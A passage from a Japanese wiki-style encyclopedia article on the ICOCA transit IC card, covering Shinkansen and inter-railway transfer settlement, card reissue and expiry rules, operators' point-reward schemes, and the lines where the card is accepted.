ICOCAのみを用いての[[新幹線]]の乗車はできないが、ICOCAエリア内の[[在来線]]から[[山陽新幹線]]・[[東海道新幹線]]([[東海旅客鉄道|JR東海]])・[[北陸新幹線]]へ乗り換える際に、新幹線乗換口の自動改札機でそれまで乗車した在来線運賃の精算ができる。最初に新幹線乗車券を挿入口に入れ、続いて在来線の乗車に使用したICOCAをカード読み取り部にタッチすると自動的に精算が完了し、改札機を通過できる。東海道・山陽新幹線の会員制ネット予約サービス「[[エクスプレス予約]]」のEX-ICサービスや東海道新幹線の会員制ネット予約サービス「[[プラスEX]]」で列車を予約している場合は、EX-ICカード(プラスEXカード)とICOCAを2枚重ねでカード読み取り部にタッチすると精算が完了し改札機を通過することができる。北陸新幹線との連絡改札で「[[モバイルSuica]]特急券」とICOCAを2枚重ねでカード読み取り部にタッチして通過することはできない<ref>{{Cite web|和書|title=新幹線・私鉄の乗換改札口での使い方│ICOCA:JRおでかけネット|url=https://www.jr-odekake.net/icoca/guide/train/shinkansen.html|website=www.jr-odekake.net|accessdate=2019-04-12}}</ref>。
2009年8月29日より、山陽新幹線全線にEX-ICサービスが導入されたことで、ICOCAエリア内にある山陽新幹線各駅の新幹線乗換口でも、ICOCAを用いての在来線から新幹線への乗り継ぎが可能になった。
2011年3月12日からは、[[九州旅客鉄道|JR九州]]在来線と接続する[[小倉駅 (福岡県)|小倉駅]]・[[博多駅]]両駅の新幹線乗換口でもSUGOCAおよびSUGOCAと相互利用しているICOCAなどのカードでの精算、記録が可能となった。
==== JR在来線と他の私鉄との乗り継ぎ ====
{{Anchors|近鉄との乗り継ぎ|南海との乗り継ぎ}}
{{see also|近鉄名古屋駅#備考|柏原駅 (大阪府)#近鉄線の利用について}}
JR西日本・近鉄と他社路線を共同利用駅を経由して連続乗車する場合(ICOCAエリア同士の乗り継ぎとなるJR西日本⇔近鉄の乗り継ぎを含む)、乗換口がある駅(乗換口に自動改札機がある駅)と乗換口がない駅で取扱いが異なる。
;乗換口がある駅
:乗換口の自動改札機にICOCAをタッチすることでそれまでの乗車区間運賃の精算と乗り継ぎ駅の情報の記録が同時に完了し、改札機を通過できる。
:乗り継ぎ前または後のどちらかで磁気きっぷで乗車する場合は、乗換口の自動改札機で最初に磁気きっぷを入れ、その次にICOCAをタッチすると精算が完了して改札機を通過することができる。
:なお乗り換え改札口では、ICカードの2枚同時使用による通過(2枚重ねタッチなど)はできない。
:[[鶴橋駅]](JR西日本⇔近鉄)、[[近鉄名古屋駅]](近鉄⇔JR東海、名鉄)などが該当する。
;乗換口がない駅
:乗換駅の改札構内(ホーム上、コンコースなど)に簡易ICカード改札機が設置されており、乗り換え時にこれにタッチして乗り継ぎ駅の情報の記録を行う必要がある。
:ICOCA定期券等を含めたすべてのICOCAでこれを行う必要があり、簡易改札機にタッチしなかった場合、下車時に自動改札機を通過できない。また、磁気きっぷとの併用も出来ない。
:[[柏原駅 (大阪府)|柏原駅]](JR西日本⇔近鉄)、[[りんくうタウン駅]](JR西日本⇔南海)、[[吉野口駅]](JR西日本⇔近鉄)などが該当する。
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ファイル:iccard.gif|利用方法
ファイル:JRW Cardreader-Noml-type.jpg|読み取り装置<br/>(旧型)
ファイル:自動改札機.jpg|近畿地区の導入当初の改札機
ファイル:JRW simpletype turnstile.jpg|旧型の簡易型自動改札機
ファイル:ICOCA読み取り部(岡山・広島).JPG|読み取り装置<br/>(新型)
ファイル:JRW Cardreader Ent-01.jpg |旧型の入場用簡易改札機
ファイル:JRW Cardreader Exi-01.jpg |旧型の出場用簡易改札機
ファイル:Westjr_icoca_checker01.jpg|新型の入場用簡易改札機
ファイル:Westjr_icoca_checker02.jpg|新型の出場用簡易改札機
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=== 有効期限・再発行 ===
[[File:Smart Icoca reissue 01.jpg|thumb|再発行登録票<br>(障害時の再発行は無料)]]
ICOCAは、最後の利用日から10年間利用がない場合でJR西日本が特に定めた場合は失効となり、チャージ金額およびデポジットの返却は行われない。
こどもICOCAの有効期限は、使用者が12歳となる年度の3月31日と定められており、期限を過ぎたカードはチャージ金額が残っていても使用できなくなる。この場合は、みどりの窓口にカードを返却するとチャージ金額、およびデポジットが手数料なしで払い戻される(10円未満は10円単位に切り上げ)。
こどもICOCA・SMART ICOCA・ICOCA定期券・こどもICOCA定期券・SMART ICOCA定期券・KIPS ICOCAカードは、カードを紛失した際でも、所有者本人であることが証明できる書類があれば再発行が可能である。また、SMART ICOCA・SMART ICOCA定期券では専用電話(紛失ダイヤル、24時間・年中無休)での本人確認と再発行も行われている。ただし、再発行には再発行[[手数料]]510円とデポジット500円の合計1,010円を、現金で(SMART ICOCA紛失ダイヤルでは、紐付けされたクレジットカードで)支払う必要がある。
これとは別に、手元にカードはあるものの、破損や障害等で使用できない場合(故意の破損や番号が判別できないものを除く)は、カード(上記以外の記名式でないICOCAを含む)を各発行会社の取扱窓口に持参すると、手数料・デポジット共に無料で再発行され、翌日から14日以内に受け取れる。紛失、破損・障害共に、チャージ金額は引き継がれる。
再発行および払い戻しは各発行会社で行う。ただし記名式でない大人用ICOCAやこどもICOCAはICOCA取扱事業者であればどの社局でも払い戻しのみ可能である(ただし、こどもICOCAはJR四国では払い戻しできない)。またICOCA定期券・こどもICOCA定期券は定期券の有効期限が切れた後も個人情報が会社ごとに残っているため、最後に定期券・こどもICOCAを購入した社局の窓口でのみ対応し、他社局に持ち込んでも取り扱ってもらえない。
== 割引サービス ==
事前の利用登録は不要。
=== 各社独自サービス ===
JR西日本の許諾を受けて独自に運営されている割引サービス。山陰地方のバス2社(石見交通、イワミツアー)では、ICOCAによるSF乗車で割引サービスを実施している。事前の利用登録は不要。
*石見交通・イワミツアー
*:現金で利用した場合の運賃に対して10%割引(10円未満の端数は切り上げ)により残高を引き去る。例えば、230円区間の場合、ICOCAからの引き去り額は、230円の10%引き=207円の端数切り上げ=210円となる。小児割引または特別割引が適用される場合はそれらの当該割引が優先される。これは「[[PASPY]]」の代替となっているためであり、割引率もPASPYと同一となっている。
== ポイントサービス ==
ポイントサービスは2種類に大別できる。それぞれ事前の利用登録が必要。
#WESTERポイントがたまるサービス
#:JR西日本、近江鉄道グループバス、中国地方の一部バス
#:ICOCA加盟店での買い物
#各社独自のポイントサービス
#:京阪、阪神、京都市など
この他、KIPS ICOCAでの近鉄線利用でKIPSポイントがたまる。
=== WESTERポイント===
JR西日本並びに近江鉄道グループバス2者(近江鉄道、湖国バス)、中国地方のバス5者(日本交通 (鳥取県) 、日ノ丸自動車、松江市交通局、一畑バス、防長交通)では、ICOCAによるSF乗車でポイントがたまるサービスを実施している。事前の利用登録が必要。
2018年10月1日<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2017/09/page_11099.html |title=ICOCAのご利用に応じた新たなポイントサービスの導入について|publisher=西日本旅客鉄道株式会社|date=2017年9月7日|accessdate=2017年10月10日}}</ref><ref name="release20180809">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2018/08/page_12843.html |title=列車乗車回数に応じてポイントが貯まる! 京阪神の特定の区間では平日昼間と土休日限定のポイントも! 「ICOCAポイント」2018年10月1日サービス開始! |publisher=西日本旅客鉄道 |date=2018-08-09 |accessdate=2019-02-10}}</ref>にJR西日本が京阪神地区で導入した「ICOCAポイント」を2023年3月7日にJ-WESTポイントと統合し、[[JR西日本グループ]]共通の「'''WESTERポイント'''」となる<ref>{{Cite press release|和書|title=2023年春、JR西日本グループ共通の新たなポイントサービス「WESTERポイント」が誕生します! |publisher=西日本旅客鉄道|date=2022-09-15|url=https://www.westjr.co.jp/press/article/items/220915_00_press_westerp.pdf|format=PDF|accessdate=2023-01-27}}</ref>。
また、SMART ICOCA(J-WESTカード決済に限る)ではクイックチャージでポイントがたまる(2023年3月6日まではJ-WESTポイント)。
JR西日本の鉄道利用においては、他社で導入されているような「一定利用額以上に対して定率還元」ではなく「指定区間・同一区間での複数回利用に対して還元」される仕組みになっているが、これはサービスイン直前まで京阪神地区で発売されていた「[[昼間特割きっぷ]]」の代替となるサービスを含めているためであり、時間帯指定ポイントの指定区間も「昼間特割きっぷ」の発売区間とほぼ同一となっている<ref>{{Cite news|url=https://trafficnews.jp/post/81557 |title=「ICOCAポイント」はお得? 「昼間特割きっぷ」に代わるサービスも その特徴とは |author=伊原薫 |newspaper=乗りものニュース |publisher=メディア・ヴァーグ |date=2018-09-25 |accessdate=2019-02-10}}</ref>。
*JR西日本
**時間帯指定ポイント
**:京阪神地区の特定区間{{Efn|[[JR京都線]](全線)・[[JR神戸線]]([[大阪駅]] - [[元町駅 (兵庫県)|元町駅]]間)・[[福知山線|JR宝塚線]](大阪駅 - [[宝塚駅]]間)の指定された駅間、および[[JR東西線]] [[北新地駅]]発着のJR神戸線・JR宝塚線方面の指定された駅間。大阪駅をまたぐ区間には設定されていない。}}における、平日の10時から17時まで、または土休日・年末年始の終日(始発列車から最終列車まで)の区間ごとの利用回数が1ヵ月間に4回以上の場合、4回目以降の利用1回ごとに、その区間の運賃の10%相当のポイントが貯まる。2023年3月31日まではその区間の運賃の30%または50%相当だった。
**利用回数ポイント
**:JR西日本のICOCAエリアにおける同一運賃区間の利用回数が1ヵ月間に11回以上の場合、11回目以降の利用1回ごとに、その区間の運賃の10%相当のポイントが貯まる。2021年10月1日から2023年3月31日まではポイント還元率が15%だった<ref>[https://www.westjr.co.jp/press/article/items/210331_02_icoca.pdf]</ref>{{Efn|引き換えにICOCAエリア相互間の普通回数券が廃止となる(JR東日本のように他社相互区間の発売を行っているJR他社での扱いは未定。ICOCAエリア相互間と同一運賃でもICOCAエリア外を含む区間や、ICOCAエリア内でも「新幹線経由」(特急券は別途購入)の普通回数券の発行は継続される他、、[[七尾駅]] - [[和倉温泉駅]]相互間の普通列車は[[のと鉄道]]が運行するため、のと鉄道の普通回数券の発売は継続される)。}}。
*近江鉄道・湖国バス
*:1ヵ月間の利用額から1000円引いた額の10%がポイントとして翌月末頃に付与される<ref>https://www.ohmitetudo.co.jp/file/bus_newsrelese_20210218.pdf</ref><ref>https://www.ohmitetudo.co.jp/bus/info/20221001tsukinteiki_icocapoint_kaitei/index.html</ref>。
*日本交通 (鳥取県) ・日ノ丸自動車・松江市交通局・一畑バス
*:1ヵ月間の利用額の1%がポイントとして翌月末頃に付与される<ref>{{Cite web|和書|url=https://www.city.tottori.lg.jp/www/contents/1676959519118/index.html|title=100円循環バス「くる梨」ICOCA利用について|date=2023-3-17|accessdate=2023-3-25|publisher=鳥取市役所都市整備部交通政策課}}</ref><ref>{{Cite web|和書|url=https://matsue-bus.jp/wp-content/uploads/2021/05/松江市交通局ICカード取扱.pdf|title=松江市交通局ICカード取扱|accessdate=2021-5-30|publisher=松江市交通局}}</ref><ref>{{Cite web|和書|url=https://www.ichibata.co.jp/bus/rosen/icoca.html|title=ICOCA利用案内|accessdate=2021-5-30|publisher=一畑バス}}</ref>。
*防長交通
*:1ヵ月間の利用額の3%がポイントとして翌月末頃に付与される<ref>{{Cite web|和書|url=https://www.bochobus.co.jp/publics/index/213/|title=【3/25~】交通系ICカード(ICOCA)|accessdate=2023-3-25|publisher=防長交通}}</ref>。
====ICOCA電子マネーのショッピング利用====
近畿(三重県を除く)、北陸、中国、四国地方のICOCA加盟店におけるICOCA電子マネーの買い物利用でWESTERポイントが貯まるサービス。購入額200円に対して1ポイントが貯まる。
=== 各社独自サービス ===
{{See also|京阪グループ共通バスカード#京阪バスポイントサービス(ICOCA)}}
JR西日本の許諾を受けて独自に運営されているポイントサービス。それぞれサービスごとに事前の利用登録が必要。ただし、阪急阪神HDの鉄道4社(阪神、山陽、阪急、能勢電)はいずれか1社を利用登録すれば他3社にも適用される。
京阪バスが2017年にICOCA発行元であるJR西日本の許諾を取り付け、取扱事業者が独自に展開するポイントサービスという新たな道を開拓。それを皮切りに現在では近畿地方のJR西日本以外の鉄道・バスで独自にポイントを付与するサービスが拡がっている。
*京阪電気鉄道【京阪電車ポイント還元サービス】:2020年12月1日開始<ref name=":11" /><ref name=":12" />
*:対象線区(京阪本線・中之島線・交野線・宇治線・鴨東線および鋼索線)の同月内同一運賃区間における11回目のICOCAでのSF乗車運賃合計額に対して10%のポイントがたまる(実質的な回数乗車割引)。
*:ポイントは京阪線券売機等でICOCAのSFに等価でチャージできる。サービスの利用には事前に京阪線券売機等での利用登録が必要。チャージ機能のないICOCA(障がい者割引適用ICOCA定期券など)では利用できない。
*京阪バスグループ【京阪バスグループポイントサービス】:2017年4月1日開始<ref name=":8" />
*:京阪バスグループ4社(京阪バス、京阪京都交通、京都京阪バス、江若交通)の一般路線バスでのICOCAによるSF乗車に対し、5%のポイントが翌日以降付与される<ref>[https://www.keihanbus.jp/local/ic/ic_point.html ポイントサービス] - 京阪バス</ref>。たまったポイントは自動的に運賃精算に使用される。
*:京都競馬場線、空港リムジンバス、高速バスは対象外。サービスの利用にはwebもしくは窓口での事前登録が必要。
*神戸新交通【チャージ還元サービス】:2020年4月1日開始<ref name=":9" /><ref name=":10" />
*神戸市交通局・山陽バス・神姫バス【神戸市バス・山陽バス共通乗車ポイントサービス】:2021年4月1日開始<ref name=":13" /><ref name=":14" />
*:神戸市バス全線、山陽バス一般路線全線、および[[神姫バス]]の山手線でのICOCAによるSF乗車に対し、月内のICOCAでのSF乗車額に応じて翌月15日に5%ないし10%のポイントが付与される。日中利用ではさらに10%ないし20%の「昼間ポイント」が上乗せされる。運賃額以上にたまったポイントは優先的に運賃精算に使用される。
*:サービスの利用にはwebもしくは郵送での事前登録が必要。また、解約(退会)も可能。
*阪急阪神HD(各サービス連携)
**阪神電気鉄道【阪神電車ポイント還元サービス】:2022年9月1日開始<ref>{{Cite web |url=https://www.hanshin.co.jp/company/press/detail/3606 |title=ICOCA 利用へのポイントサービス 「阪神電車ポイント還元サービス」を9月から開始 ~山陽・能勢・阪急とも連携予定~ |ニュースリリース|阪神電気鉄道株式会社 |access-date=2023-11-25 |archive-date=2023-05-14 |archive-url=https://web.archive.org/web/20230514075400/https://www.hanshin.co.jp/company/press/detail/3606}}</ref>
**:阪神電気鉄道全線および[[阪急神戸高速線|阪急電鉄神戸高速線]]・[[神戸電鉄神戸高速線]]で月内に同一運賃区間を11回以上SF乗車した場合、区間ごとに11回目以降の乗車運賃合計額の10%分をポイントとして付与する。
**:券売機での事前利用登録が必須。貯まったポイントを使うには券売機でチャージする必要がある。
**山陽電気鉄道【山陽電車ポイント還元サービス】:2023年3月1日開始<ref>{{Cite web |url=https://www.sanyo-railway.co.jp/media/1677042100.pdf |title=2023 年 3 月 1 日(水)からICOCAによるポイントサービスを開始 ~阪神・阪急・能勢とも連携~ |access-date=2023-11-25 |publisher=山陽電気鉄道 |archive-url=https://web.archive.org/web/20230320211526/https://www.sanyo-railway.co.jp/media/1677042100.pdf |archive-date=2023-03-20}}</ref>
**阪急電鉄【阪急電車ポイント還元サービス】:2023年4月1日開始<ref>{{Cite web |url=https://www.hankyu.co.jp/files/upload/pdf/2022-08-08_i2.pdf |title=ICOCAによる「阪急電車ポイント還元サービス」の開始と 回数券および往復乗車券の発売終了について |access-date=2023-11-25 |publisher=阪急電鉄 |archive-url=https://web.archive.org/web/20231106113926/https://www.hankyu.co.jp/files/upload/pdf/2022-08-08_i2.pdf |archive-date=2023-11-06}}</ref>
**能勢電鉄【能勢電車ポイント還元サービス】:2023年4月1日開始<ref>{{Cite web |url=https://noseden.hankyu.co.jp/news/7762f0847c4ceb5.html |title=ICOCAによる「能勢電車ポイント還元サービス」の開始と 回数券の発売終了について|ニュースリリース│鉄道情報|のせでん【能勢電鉄】 |access-date=2023-11-25 |archive-date=2022-08-08 |archive-url=https://web.archive.org/web/20220808072100/https://noseden.hankyu.co.jp/news/7762f0847c4ceb5.html}}</ref>
**神戸電鉄【神戸電鉄ポイント還元サービス】:2024年4月1日開始予定<ref>{{Cite web |url=https://www.shintetsu.co.jp/wp/wp-content/uploads/2023/09/230927.pdf |title=回数券の発売終了と ICOCA によるポイントサービスの開始について |access-date=2023-11-25 |publisher=神戸電鉄 |archive-url=https://web.archive.org/web/20231025094944/https://www.shintetsu.co.jp/wp/wp-content/uploads/2023/09/230927.pdf |archive-date=2023-10-25}}</ref>
*京都市交通局・京都バス【京都 地下鉄・バス ICポイントサービス「もえポっ」】:2023年4月1日開始<ref>{{Cite web |url=https://www.city.kyoto.lg.jp/kotsu/page/0000306225.html |title=京都市交通局:「京都 地下鉄・バス ICポイントサービス」の御利用方法等について |access-date=2023-11-25 |archive-date=2023-07-19 |archive-url=https://web.archive.org/web/20230719133021/https://www.city.kyoto.lg.jp/kotsu/page/0000306225.html}}</ref>
*近畿日本鉄道【近鉄ICOCAポイント還元サービス】:2024年2月開始予定<ref>{{Cite web |url=https://www.kintetsu.co.jp/all_news/news_info/20231106.pdf |title=― ICOCA を使って、お得にお出かけ! - 近鉄 ICOCA ポイント還元サービスを開始します |access-date=2023-11-25 |publisher=近畿日本鉄道 |archive-date=2023-11-06 |archive-url=https://web.archive.org/web/20231106125850/https://www.kintetsu.co.jp/all_news/news_info/20231106.pdf}}</ref>
なお、下記各社でもポイントサービスを実施しているが、付与されたポイントをICOCAにチャージすることはできない。
* Osaka Metro・大阪シティバス【Osaka Point】:ICOCAでの適用開始は2021年4月1日<ref>{{Cite web |url=https://subway.osakametro.co.jp/news/news_release/20210224osakapoint_iccardkakudai.php |title=2021年4月1日から Osaka Point の乗車ポイント付与対象ICカードを拡大! & 最大1,600円相当のポイントがもらえる会員登録キャンペーンも開催~ Osaka Point 公式キャラクター「オポたん」「かどのすけ」も登場 ~|Osaka Metro |access-date=2023-11-25 |archive-url=https://web.archive.org/web/20230410195038/https://subway.osakametro.co.jp/news/news_release/20210224osakapoint_iccardkakudai.php |archive-date=2023-04-10}}</ref>
*:Osaka Metro・大阪シティバス(IKEA鶴浜/ユニバーサル・スタジオ・ジャパン™行バス、空港バス、オンデマンドバスを除く)でのICOCAによるSF乗車に対し、月内のICOCAでのSF乗車額に応じて翌月末ごろに0.5%のOsaka Pointが付与されるほか、ICOCA定期券の利用でもポイントが付与される。たまったOsaka PointはICOCAへのチャージには利用できないが、e METROアプリや提携店での支払いに使用できる<ref>{{Cite web |url=https://omdm.osaka-point.jp/method/ |title=つかいかた|Osaka Point[Osaka Metro Groupのポイントサービス] {{!}} by Osaka Metro Group |access-date=2023-11-25}}</ref>。また、2024年3月1日より月内に同一運賃区間を11回以上SF乗車した場合、区間ごとに11回目以降の乗車運賃合計額の10%分をポイントとして付与する予定<ref>{{Cite web |url=https://subway.osakametro.co.jp/news/news_release/20230831_icoca_kaisu_card.php |title=ICOCAでの新ポイントサービス開始と回数カード及び北急連絡回数券の発売終了について|Osaka Metro |access-date=2023-11-25 |archive-date=2023-11-25 |archive-url=https://web.archive.org/web/20231125104557/https://subway.osakametro.co.jp/news/news_release/20230831_icoca_kaisu_card.php}}</ref>。
* 南海電気鉄道・泉北高速鉄道【ICカード登録型minapitaポイント還元サービス】:2023年3月1日開始<ref name=":32">{{Cite web|和書 |url=https://www.nankai.co.jp/lib/company/news/pdf/230130.pdf |title=3月1日(水)から、利用登録したPiTaPaやICOCAで乗車した際に「minapitaポイント」がたまる新サービスを開始! |access-date=2023-4-22 |publisher=南海電気鉄道}}</ref>
*:{{See|南海グループカード minapita#ICカード登録型minapitaポイント還元サービス}}
== 利用可能エリア ==
他社ICカードとの相互利用については後述する。
ICOCA定期券による「[[新幹線]]乗車サービス」を除きICOCA単独での新幹線への乗車はできないが、新幹線駅の乗り換え改札口では、[[東海道・山陽新幹線]]でのチケットレスサービス「[[エクスプレス予約#EX-ICサービス|EX-ICサービス]]」との連携により、ICOCAとの組み合わせで新幹線と在来線の乗り継ぎができるようになった。
JR西日本とJR四国の二社相互、JR西日本・あいの風とやま鉄道・IRいしかわ鉄道の三社相互に跨っての連続利用が可能。ただし、1回での利用範囲には制限がありこれを超える場合は別途精算が必要になる。
=== JRグループ ===
==== JR西日本 ====
近畿圏においては[[大都市近郊区間 (JR)#大阪近郊区間|大阪近郊区間]]や[[アーバンネットワーク]]とは完全には一致していない(大阪近郊区間でもICOCAエリアに含まれない区間がある。[[#運賃計算の特例|後述]]参照)。
†を記した区間はPiTaPaポストペイサービス(2018年10月1日サービス開始)の対象区間<ref>{{Cite web|和書| url=https://www.pitapa.com/area/pdf/postpay_area.pdf | formatPDF | accessdate=2019-10-08 | title=PiTaPaポストペイエリア | website=PiTaPa | publisher= 株式会社スルッとKANSAI }}</ref><ref>{{Cite web|和書|url=https://www.jr-odekake.net/icoca/guide/postpay/pdf/postpay_area.pdf|title=JR西日本ポストペイエリア|accessdate=2021-3-24|publisher=西日本旅客鉄道|format=PDF}}</ref>。
以下は2023年4月1日現在のエリア<ref name="jrw-area">{{Cite web|和書|url=https://www.jr-odekake.net/icoca/area/map/all.html|title=ご利用可能エリア(2023年4月1日)|website=ICOCA公式サイト|accessdate=2023-04-01}}</ref>。
* [[大阪環状線]]:全駅<sup>†</sup>
* [[桜島線]](JRゆめ咲線):全駅<sup>†</sup>
* [[東海道本線]]([[琵琶湖線]]・[[JR京都線]]・[[JR神戸線]]):JR西日本管内全駅<sup>†</sup>(米原駅を越えてTOICAエリアにまたがるSF利用は不可)
* [[北陸本線]](琵琶湖線):全駅
** [[米原駅]] - [[近江塩津駅]]<sup>†</sup>
** 近江塩津駅 - [[金沢駅]]
* [[七尾線]]:全駅
** [[津幡駅]] - [[七尾駅]]
** 七尾駅 - [[和倉温泉駅]]([[のと鉄道]]運行の普通列車を除く)
* [[城端線]]:[[高岡駅]] - [[新高岡駅]]
* [[山陽本線]](JR神戸線・[[和田岬線]]):JR西日本管内全駅(下関駅を超えてSUGOCAエリアにまたがるSF利用は不可)
** [[神戸駅 (兵庫県)|神戸駅]] - [[相生駅 (兵庫県)|相生駅]]<sup>†</sup>
** 相生駅 - [[下関駅]]
** [[兵庫駅]] - [[和田岬駅]]<sup>†</sup>
* [[福知山線]](JR宝塚線):全駅
** [[尼崎駅 (JR西日本)|尼崎駅]] - [[谷川駅]]<sup>†</sup>
** 谷川駅 - [[福知山駅]]
* [[JR東西線]]:全駅<sup>†</sup>
* [[片町線]](学研都市線):全駅<sup>†</sup>
* [[おおさか東線]]:全駅<sup>†</sup>
* [[関西本線]]([[大和路線]]):JR西日本管内全駅(亀山駅を越えてTOICAエリアにまたがるSF利用は不可)
** [[亀山駅 (三重県)|亀山駅]] - [[柘植駅]]
** 柘植駅 - [[JR難波駅]]<sup>†</sup>
* [[奈良線]]:全駅<sup>†</sup>
* [[山陰本線]]([[嵯峨野線]]):
** [[京都駅]] - [[園部駅]]<sup>†</sup>
** 園部駅 - [[胡麻駅]]
** 胡麻駅 - [[城崎温泉駅]](胡麻駅以南・[[綾部駅]]・福知山駅・[[和田山駅]]・[[八鹿駅]]・[[江原駅]]・[[豊岡駅 (兵庫県)|豊岡駅]]・城崎温泉駅発着相互間のみ取り扱い。ICOCA定期券は発売しない)
** [[伯耆大山駅]] - [[出雲市駅]]
* [[舞鶴線]]:全線(綾部駅以西/以南・[[西舞鶴駅]]・[[東舞鶴駅]]発着相互間のみ取り扱い。ICOCA定期券は発売しない)
* [[関西空港線]]:全駅<sup>†</sup>
* [[阪和線]](羽衣線を含む):全駅<sup>†</sup>
* [[湖西線]]:全駅<sup>†</sup>
* [[赤穂線]]:全駅
** [[相生駅 (兵庫県)|相生駅]] - [[播州赤穂駅]]<sup>†</sup>
** 播州赤穂駅 - [[東岡山駅]]
* [[和歌山線]]:全駅<sup>†</sup>
* [[桜井線]](万葉まほろば線):全駅<sup>†</sup>
* [[草津線]]:全駅<sup>†</sup>
* [[紀勢本線]](きのくに線):JR西日本管内全駅
* [[加古川線]]:加古川駅 - [[西脇市駅]]<sup>†</sup>
* [[播但線]]:全線
** [[姫路駅]] - [[寺前駅]]
** 寺前駅 - 和田山駅(寺前駅以南・[[生野駅 (兵庫県)|生野駅]]・[[竹田駅 (兵庫県)|竹田駅]]・和田山駅以東/以西発着相互間のみ取り扱い。ICOCA定期券は発売しない)
* [[姫新線]]:姫路駅 - [[播磨新宮駅]]
* [[福塩線]]:[[福山駅]] - [[神辺駅]]
* [[伯備線]]:全線
** [[倉敷駅]] - [[新見駅]]
** 新見駅 - 伯耆大山駅(新見駅以南・[[生山駅]]・[[根雨駅]]・伯耆大山駅以西発着相互間のみ取り扱い。ICOCA定期券は発売しない)
* [[吉備線]](桃太郎線):全駅
* [[宇野線]](宇野みなと線・[[瀬戸大橋線]]):全駅
* [[本四備讃線]](瀬戸大橋線):全駅
* [[津山線]]:[[岡山駅]] - [[法界院駅]]
* [[可部線]]:全駅
* [[呉線]](瀬戸内さざなみ線):全駅
* [[芸備線]]:[[狩留家駅]] - [[広島駅]]
* [[境線]]:全駅
* [[山口線]]:[[新山口駅]] - [[山口駅 (山口県)|山口駅]](新山口駅以東/以西・[[湯田温泉駅]]・山口駅発着相互間のみ取り扱い。ICOCA定期券は発売しない)
なお、[[宮島連絡船]](子会社の[[JR西日本宮島フェリー]]が運行)は2023年9月13日からICOCAと[[PASPY]]の併用導入となったが、カードリーダーはICOCA用とPASPY用で別に設置している。なお、2023年9月12日までは、PASPYのみを導入しており、[[交通系ICカード全国相互利用サービス]]によりICOCAが利用可能となっていた。
==== JR四国 ====
* 本四備讃線(瀬戸大橋線):全駅
* [[予讃線]]
** [[高松駅 (香川県)|高松駅]] - [[多度津駅]]
** 多度津駅 - [[観音寺駅 (香川県)|観音寺駅]](多度津駅以東・[[詫間駅]]・観音寺駅発着相互間のみ取り扱い)
* [[土讃線]]:多度津駅 - [[琴平駅]]([[金蔵寺駅]]を除く)
* [[高徳線]]:高松駅 - [[屋島駅]]([[昭和町駅 (香川県)|昭和町駅]]・[[木太町駅]]を除く)
=== 北陸 ===
==== あいの風とやま鉄道 ====
* [[あいの風とやま鉄道線]]:[[倶利伽羅駅]] - [[越中宮崎駅]]間
==== IRいしかわ鉄道 ====
* [[IRいしかわ鉄道線]]:全駅
==== 富山地方鉄道 ====
* [[富山地方鉄道富山軌道線|富山軌道線]]:全線<ref name="press20210910">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/items/210910_08_icoca_toyama.pdf|archiveurl=https://web.archive.org/web/20210910033442/https://www.westjr.co.jp/press/article/items/210910_08_icoca_toyama.pdf|format=PDF|language=日本語|title=市内電車でICOCA等の全国交通系ICカードが利用できるようになります|publisher=富山地方鉄道/富山市/西日本旅客鉄道|date=2021-09-10|accessdate=2021-09-10|archivedate=2021-09-10}}</ref>
* [[富山地方鉄道富山港線|富山港線]]:全線<ref name="press20210910"/>
同社が発行・導入している[[ecomyca]]および[[富山ライトレール]]時代に発行していたpasscaと併用導入であるが、カードリーダーはICOCA用とecomyca・passca用で別に設置している。
=== 東海・近畿 ===
==== 京阪電気鉄道 ====
* 京阪線 - 2011年6月1日にICOCA・ICOCA定期券(連絡定期券を含む)の発売を開始<ref name="keihan20110311">{{Cite press release|和書|url=http://www.keihan.co.jp/corporate/release/orig_pdf/data_h23/2011-03-01-4.pdf |title=京阪電車におけるICOCAおよびICOCA定期券の発売開始について|publisher=京阪電気鉄道|date=2011年3月1日|accessdate=2013年6月22日}}</ref>。
** [[京阪本線]]:全駅
** [[京阪鴨東線|鴨東線]]:全駅
** [[京阪宇治線|宇治線]]:全駅
** [[京阪交野線|交野線]]:全駅
** [[京阪中之島線|中之島線]]:全駅
* [[京阪大津線|大津線]] - 2017年4月1日にICOCA・ICOCA定期券の発売を開始<ref name="20170203_JRW"/>
** [[京阪京津線|京津線]]:全駅
** [[京阪石山坂本線|石山坂本線]]:全駅
* [[京阪鋼索線|鋼索線(男山ケーブル)]]:全駅
*: 2020年6月1日より利用開始(それまではPiTaPaを含めたICカードそのものが使えなかった)<ref>{{Cite press release|和書|title=鋼索鉄道事業の旅客運賃改定認可について|publisher=京阪電気鉄道|date=2020-5-24|url=https://www.keihan.co.jp/traffic/news/upload/2020-05-14_cable-Approval.pdf|format=PDF|accessdate=2020-12-31|archiveurl=https://web.archive.org/web/20201028121326/https://www.keihan.co.jp/traffic/news/upload/2020-05-14_cable-Approval.pdf|archivedate=2020-10-28}}</ref>
==== 近畿日本鉄道 ====
* [[近鉄難波線|難波線]]:全駅
* [[近鉄奈良線|奈良線]]:全駅
** [[近鉄生駒線|生駒線]]:全駅
* [[近鉄けいはんな線|けいはんな線]]:全駅
* [[近鉄京都線|京都線]]:全駅
* [[近鉄橿原線|橿原線]]:全駅
** [[近鉄天理線|天理線]]:全駅
** [[近鉄田原本線|田原本線]]:全駅
* [[近鉄大阪線|大阪線]]:全駅
** [[近鉄信貴線|信貴線]]:全駅
* [[近鉄名古屋線|名古屋線]]:全駅
** [[近鉄湯の山線|湯の山線]]:全駅
** [[近鉄鈴鹿線|鈴鹿線]]:全駅
* [[近鉄山田線|山田線]]:全駅
* [[近鉄鳥羽線|鳥羽線]]:全駅
* [[近鉄志摩線|志摩線]]:全駅 - 導入開始当初は[[鳥羽駅]]・[[中之郷駅]]・[[志摩磯部駅]]・[[鵜方駅]]・[[賢島駅]]での乗降のみ(ICOCA定期券の利用不可)だった<ref name="kintetsu20110311">{{Cite press release|和書|url=http://www.kintetsu.jp/news/files/110506icoca.pdf |title=近鉄におけるICOCAおよびICOCA定期券の発売について|publisher=近畿日本鉄道・西日本旅客鉄道|date=2011年3月11日|accessdate=2013年6月22日}}</ref>が、随時利用可能駅が拡大され、2015年8月1日をもって全駅に導入<ref name="kintetsu20150603">{{Cite press release|和書|url=http://www.kintetsu.co.jp/all_news/news_info/ICpuresu.pdf |title=新たに志摩線10駅および西信貴ケーブル高安山駅でICカードサービスを導入! 